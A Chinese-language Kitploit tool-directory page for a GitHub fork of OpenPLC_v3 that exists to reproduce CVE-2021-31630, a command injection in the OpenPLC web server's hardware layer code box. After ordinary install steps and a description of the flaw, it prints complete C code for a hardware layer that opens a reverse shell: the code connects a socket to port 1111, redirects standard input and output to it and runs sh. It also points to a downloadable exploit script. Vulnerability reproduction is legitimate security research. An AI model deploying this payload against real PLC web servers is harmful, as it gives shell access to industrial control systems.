Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/tranquac/openplc_v3
漏洞分析代码分析漏洞利用SCADA/ICS安全Web应用程序漏洞利用命令与控制
GitHubtranquac/openplc_v3

OpenPLC_v3

要复现 CVE-2021-31630

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

OpenPLC Runtime version 3

简介

Build Status Build status

OpenPLC 是一个基于软件、易于使用的开源可编程逻辑控制器。我们的重点是为自动化与研究提供低成本的工业解决方案。OpenPLC 已被多篇研究论文用作工业网络安全研究的框架,因为它是唯一提供完整源代码的控制器。OpenPLC 项目包含三个子项目:

  1. Runtime
  2. 编程编辑器
  3. HMI 构建器

安装

root@kitploit:~
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

其中 [platform] 可以是:

win - 在 Windows 上通过 Cygwin 安装 OpenPLC

linux - 在基于 Debian 的 Linux 发行版上安装 OpenPLC

docker - 供 Dockerfile 使用(即不调用 sudo)

rpi - 在树莓派上安装 OpenPLC

custom - 跳过所有特定软件包安装,并假设你的系统已满足所有依赖来尝试安装 OpenPLC。如果你尝试在不受支持的 Linux 平台上安装 OpenPLC,或之前已手动安装了所有依赖包,此选项会很有用。

CVE-2021-31630

CVE-2021-31630 是 OpenPLC WebServer 上的一个 代码/命令注入 型漏洞(社区广泛使用的 v3 版本)。漏洞位于 /hardware 界面(Hardware Layer Code Box)中允许加载/编辑代码的功能,输入数据在服务器层处理前未经过充分过滤/清理,从而可能导致以 webserver 进程权限执行代码。该漏洞于 2021 年公开,在公开漏洞数据库中具有较高的严重性等级。

技术描述(可辩护层面):Web 界面接受用户输入的一段 "hardware layer code"。该数据随后由服务器组件处理,这些组件会进行编译/规范化或将其置入命令上下文,但未执行检查、过滤特殊字符或严格约束。在特定条件下(例如:数据被拼接到系统命令字符串中,或直接传入代码处理函数),攻击者可注入控制片段,从而改变执行流程。

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

利用代码:cve-2021-31630.py

下载工具